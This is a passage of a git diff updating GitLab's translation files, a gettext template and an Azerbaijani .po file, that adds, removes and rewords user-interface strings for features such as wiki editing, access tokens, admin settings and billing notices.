+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/az_AZ/gitlab.po b/locale/az_AZ/gitlab.po
index db352fb27ec..e517b35a1dd 100644
--- a/locale/az_AZ/gitlab.po
+++ b/locale/az_AZ/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: az\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:24\n"
+"PO-Revision-Date: 2021-07-01 21:06\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
